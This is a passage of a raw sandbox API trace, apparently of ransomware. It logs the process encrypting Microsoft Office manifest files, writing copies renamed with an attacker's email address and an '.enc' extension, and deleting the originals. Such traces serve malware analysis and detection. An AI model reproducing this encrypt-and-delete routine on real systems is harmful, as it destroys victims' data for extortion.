[0134.424] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.424] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.424] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.424] GetLastError () returned 0x0 [0134.424] GetCurrentThreadId () returned 0x9b0 [0134.424] GetLastError () returned 0x0 [0134.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.424] GetLastError () returned 0x0 [0134.424] GetLastError () returned 0x0 [0134.425] GetLastError () returned 0x0 [0134.425] GetLastError () returned 0x0 [0134.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0134.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66a8 [0134.425] GetLastError () returned 0x0 [0134.425] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.425] GetFileType (hFile=0x3ac) returned 0x1 [0134.426] GetLastError () returned 0x0 [0134.426] GetCurrentThreadId () returned 0x9b0 [0134.426] GetLastError () returned 0x0 [0134.426] GetFileType (hFile=0x3ac) returned 0x1 [0134.426] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.426] GetLastError () returned 0x0 [0134.427] GetCurrentThreadId () returned 0x9b0 [0134.427] GetLastError () returned 0x0 [0134.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf628 | out: hHeap=0x2ad0000) returned 1 [0134.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.427] GetLastError () returned 0x0 [0134.428] GetLastError () returned 0x0 [0134.428] GetCurrentThreadId () returned 0x9b0 [0134.428] GetLastError () returned 0x0 [0134.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.428] GetLastError () returned 0x0 [0134.428] GetLastError () returned 0x0 [0134.428] GetCurrentThreadId () returned 0x9b0 [0134.428] GetLastError () returned 0x0 [0134.428] GetLastError () returned 0x0 [0134.430] GetLastError () returned 0x0 [0134.430] GetCurrentThreadId () returned 0x9b0 [0134.430] GetLastError () returned 0x0 [0134.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2418) returned 0x381b008 [0134.430] GetCurrentThreadId () returned 0x9b0 [0134.431] GetLastError () returned 0x0 [0134.431] GetLastError () returned 0x0 [0134.431] GetLastError () returned 0x0 [0134.431] GetLastError () returned 0x0 [0134.431] GetCurrentThreadId () returned 0x9b0 [0134.431] GetLastError () returned 0x0 [0134.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0134.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.431] GetLastError () returned 0x0 [0134.432] GetLastError () returned 0x0 [0134.432] GetCurrentThreadId () returned 0x9b0 [0134.433] GetLastError () returned 0x0 [0134.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fa968 | out: hHeap=0x2ad0000) returned 1 [0134.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fa968 [0134.433] GetLastError () returned 0x0 [0134.433] GetLastError () returned 0x0 [0134.433] GetCurrentThreadId () returned 0x9b0 [0134.433] GetLastError () returned 0x0 [0134.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fa968 | out: hHeap=0x2ad0000) returned 1 [0134.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.433] GetLastError () returned 0x0 [0134.434] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0134.434] CloseHandle (hObject=0x3ac) returned 1 [0134.434] GetLastError () returned 0x0 [0134.434] GetCurrentThreadId () returned 0x9b0 [0134.434] GetLastError () returned 0x0 [0134.434] GetLastError () returned 0x0 [0134.434] CloseHandle (hObject=0x39c) returned 1 [0134.434] GetLastError () returned 0x0 [0134.435] GetCurrentThreadId () returned 0x9b0 [0134.435] GetLastError () returned 0x0 [0134.435] GetLastError () returned 0x0 [0134.435] GetLastError () returned 0x0 [0134.435] GetLastError () returned 0x0 [0134.435] GetLastError () returned 0x0 [0134.435] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0134.436] GetLastError () returned 0x0 [0134.436] GetCurrentThreadId () returned 0x9b0 [0134.436] GetLastError () returned 0x0 [0134.436] GetLastError () returned 0x0 [0134.437] GetLastError () returned 0x0 [0134.437] GetLastError () returned 0x0 [0134.437] GetLastError () returned 0x0 [0134.437] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.437] GetCurrentThreadId () returned 0x9b0 [0134.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.437] GetCurrentThreadId () returned 0x9b0 [0134.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.438] GetLastError () returned 0x0 [0134.438] GetLastError () returned 0x0 [0134.438] GetLastError () returned 0x0 [0134.438] GetLastError () returned 0x0 [0134.438] GetCurrentThreadId () returned 0x9b0 [0134.438] GetLastError () returned 0x0 [0134.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.438] GetLastError () returned 0x0 [0134.438] GetLastError () returned 0x0 [0134.438] GetLastError () returned 0x0 [0134.439] GetLastError () returned 0x0 [0134.439] GetCurrentThreadId () returned 0x9b0 [0134.439] GetLastError () returned 0x0 [0134.439] GetCurrentThreadId () returned 0x9b0 [0134.439] GetLastError () returned 0x0 [0134.439] GetLastError () returned 0x0 [0134.439] GetLastError () returned 0x0 [0134.439] GetLastError () returned 0x0 [0134.439] GetCurrentThreadId () returned 0x9b0 [0134.439] GetLastError () returned 0x0 [0134.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.440] GetLastError () returned 0x0 [0134.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.440] GetLastError () returned 0x0 [0134.440] GetLastError () returned 0x0 [0134.440] GetLastError () returned 0x0 [0134.440] GetCurrentThreadId () returned 0x9b0 [0134.440] GetLastError () returned 0x0 [0134.440] GetLastError () returned 0x0 [0134.440] GetLastError () returned 0x0 [0134.440] GetLastError () returned 0x0 [0134.440] GetLastError () returned 0x0 [0134.441] GetCurrentThreadId () returned 0x9b0 [0134.441] GetLastError () returned 0x0 [0134.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0134.441] GetLastError () returned 0x0 [0134.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.441] GetLastError () returned 0x0 [0134.441] GetLastError () returned 0x0 [0134.441] GetLastError () returned 0x0 [0134.441] GetCurrentThreadId () returned 0x9b0 [0134.441] GetLastError () returned 0x0 [0134.441] GetLastError () returned 0x0 [0134.442] GetLastError () returned 0x0 [0134.442] GetLastError () returned 0x0 [0134.442] GetLastError () returned 0x0 [0134.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.442] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.442] GetLastError () returned 0x0 [0134.442] GetCurrentThreadId () returned 0x9b0 [0134.442] GetLastError () returned 0x0 [0134.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0134.443] GetCurrentThreadId () returned 0x9b0 [0134.443] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b3f4 | out: pbBuffer=0x366b3f4) returned 1 [0134.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0134.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0134.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0134.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.443] GetLastError () returned 0x0 [0134.443] GetLastError () returned 0x0 [0134.443] GetLastError () returned 0x0 [0134.443] GetLastError () returned 0x0 [0134.444] GetCurrentThreadId () returned 0x9b0 [0134.444] GetLastError () returned 0x0 [0134.444] GetCurrentThreadId () returned 0x9b0 [0134.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.444] GetLastError () returned 0x0 [0134.444] GetLastError () returned 0x0 [0134.444] GetLastError () returned 0x0 [0134.444] GetLastError () returned 0x0 [0134.444] GetCurrentThreadId () returned 0x9b0 [0134.444] GetLastError () returned 0x0 [0134.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.445] GetCurrentThreadId () returned 0x9b0 [0134.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6628 [0134.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a34c0 | out: hHeap=0x2ad0000) returned 1 [0134.445] GetLastError () returned 0x0 [0134.445] GetLastError () returned 0x0 [0134.445] GetLastError () returned 0x0 [0134.445] GetLastError () returned 0x0 [0134.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0134.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6588 [0134.445] GetLastError () returned 0x0 [0134.446] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.446] GetFileType (hFile=0x39c) returned 0x1 [0134.446] GetLastError () returned 0x0 [0134.446] GetCurrentThreadId () returned 0x9b0 [0134.446] GetLastError () returned 0x0 [0134.446] GetFileType (hFile=0x39c) returned 0x1 [0134.446] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.446] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.446] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.446] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.447] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.447] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.447] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.447] GetLastError () returned 0x0 [0134.447] GetCurrentThreadId () returned 0x9b0 [0134.447] GetLastError () returned 0x0 [0134.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6588 | out: hHeap=0x2ad0000) returned 1 [0134.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0134.447] GetLastError () returned 0x0 [0134.447] GetLastError () returned 0x0 [0134.447] GetLastError () returned 0x0 [0134.447] GetLastError () returned 0x0 [0134.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66e8 [0134.448] GetLastError () returned 0x0 [0134.448] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.448] GetFileType (hFile=0x3ac) returned 0x1 [0134.448] GetLastError () returned 0x0 [0134.448] GetCurrentThreadId () returned 0x9b0 [0134.448] GetLastError () returned 0x0 [0134.449] GetFileType (hFile=0x3ac) returned 0x1 [0134.449] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.449] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.449] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.449] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.449] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.449] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.449] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.449] GetLastError () returned 0x0 [0134.449] GetCurrentThreadId () returned 0x9b0 [0134.449] GetLastError () returned 0x0 [0134.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66e8 | out: hHeap=0x2ad0000) returned 1 [0134.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf748 | out: hHeap=0x2ad0000) returned 1 [0134.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.450] GetLastError () returned 0x0 [0134.450] GetLastError () returned 0x0 [0134.450] GetCurrentThreadId () returned 0x9b0 [0134.450] GetLastError () returned 0x0 [0134.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.450] GetLastError () returned 0x0 [0134.450] GetLastError () returned 0x0 [0134.450] GetCurrentThreadId () returned 0x9b0 [0134.450] GetLastError () returned 0x0 [0134.451] GetLastError () returned 0x0 [0134.452] GetLastError () returned 0x0 [0134.452] GetCurrentThreadId () returned 0x9b0 [0134.452] GetLastError () returned 0x0 [0134.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6628 | out: hHeap=0x2ad0000) returned 1 [0134.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x38293b8 [0134.452] GetCurrentThreadId () returned 0x9b0 [0134.452] GetLastError () returned 0x0 [0134.453] GetLastError () returned 0x0 [0134.453] GetLastError () returned 0x0 [0134.453] GetLastError () returned 0x0 [0134.453] GetCurrentThreadId () returned 0x9b0 [0134.453] GetLastError () returned 0x0 [0134.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38293b8 | out: hHeap=0x2ad0000) returned 1 [0134.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.453] GetLastError () returned 0x0 [0134.453] GetLastError () returned 0x0 [0134.453] GetCurrentThreadId () returned 0x9b0 [0134.454] GetLastError () returned 0x0 [0134.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827950 | out: hHeap=0x2ad0000) returned 1 [0134.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.454] GetLastError () returned 0x0 [0134.454] GetLastError () returned 0x0 [0134.454] GetCurrentThreadId () returned 0x9b0 [0134.454] GetLastError () returned 0x0 [0134.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.454] GetLastError () returned 0x0 [0134.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.455] CloseHandle (hObject=0x3ac) returned 1 [0134.456] GetLastError () returned 0x0 [0134.456] GetCurrentThreadId () returned 0x9b0 [0134.456] GetLastError () returned 0x0 [0134.456] GetLastError () returned 0x0 [0134.456] CloseHandle (hObject=0x39c) returned 1 [0134.456] GetLastError () returned 0x0 [0134.456] GetCurrentThreadId () returned 0x9b0 [0134.456] GetLastError () returned 0x0 [0134.456] GetLastError () returned 0x0 [0134.456] GetLastError () returned 0x0 [0134.456] GetLastError () returned 0x0 [0134.457] GetLastError () returned 0x0 [0134.457] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0134.458] GetLastError () returned 0x0 [0134.458] GetCurrentThreadId () returned 0x9b0 [0134.458] GetLastError () returned 0x0 [0134.458] GetCurrentThreadId () returned 0x9b0 [0134.458] GetLastError () returned 0x0 [0134.458] GetLastError () returned 0x0 [0134.458] GetLastError () returned 0x0 [0134.459] GetLastError () returned 0x0 [0134.459] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.459] GetCurrentThreadId () returned 0x9b0 [0134.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.459] GetLastError () returned 0x0 [0134.459] GetLastError () returned 0x0 [0134.459] GetLastError () returned 0x0 [0134.460] GetLastError () returned 0x0 [0134.460] GetCurrentThreadId () returned 0x9b0 [0134.460] GetLastError () returned 0x0 [0134.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.460] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.460] GetLastError () returned 0x0 [0134.460] GetLastError () returned 0x0 [0134.460] GetLastError () returned 0x0 [0134.460] GetLastError () returned 0x0 [0134.460] GetCurrentThreadId () returned 0x9b0 [0134.460] GetLastError () returned 0x0 [0134.461] GetCurrentThreadId () returned 0x9b0 [0134.461] GetLastError () returned 0x0 [0134.461] GetLastError () returned 0x0 [0134.461] GetLastError () returned 0x0 [0134.461] GetLastError () returned 0x0 [0134.461] GetCurrentThreadId () returned 0x9b0 [0134.461] GetLastError () returned 0x0 [0134.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.461] GetLastError () returned 0x0 [0134.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.461] GetLastError () returned 0x0 [0134.462] GetLastError () returned 0x0 [0134.462] GetLastError () returned 0x0 [0134.462] GetCurrentThreadId () returned 0x9b0 [0134.462] GetLastError () returned 0x0 [0134.462] GetLastError () returned 0x0 [0134.462] GetLastError () returned 0x0 [0134.462] GetLastError () returned 0x0 [0134.462] GetLastError () returned 0x0 [0134.462] GetCurrentThreadId () returned 0x9b0 [0134.462] GetLastError () returned 0x0 [0134.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0134.462] GetLastError () returned 0x0 [0134.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.463] GetLastError () returned 0x0 [0134.463] GetLastError () returned 0x0 [0134.463] GetLastError () returned 0x0 [0134.463] GetCurrentThreadId () returned 0x9b0 [0134.463] GetLastError () returned 0x0 [0134.463] GetCurrentThreadId () returned 0x9b0 [0134.463] GetLastError () returned 0x0 [0134.463] GetLastError () returned 0x0 [0134.463] GetLastError () returned 0x0 [0134.463] GetLastError () returned 0x0 [0134.464] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.464] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8)) returned 1 [0134.464] GetLastError () returned 0x0 [0134.464] GetCurrentThreadId () returned 0x9b0 [0134.464] GetLastError () returned 0x0 [0134.464] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0134.464] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b444 | out: pbBuffer=0x366b444) returned 1 [0134.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0134.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0134.464] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0134.465] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.465] GetCurrentThreadId () returned 0x9b0 [0134.465] GetLastError () returned 0x0 [0134.465] GetLastError () returned 0x0 [0134.465] GetLastError () returned 0x0 [0134.465] GetLastError () returned 0x0 [0134.465] GetCurrentThreadId () returned 0x9b0 [0134.465] GetLastError () returned 0x0 [0134.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.465] RtlAllocateHeap 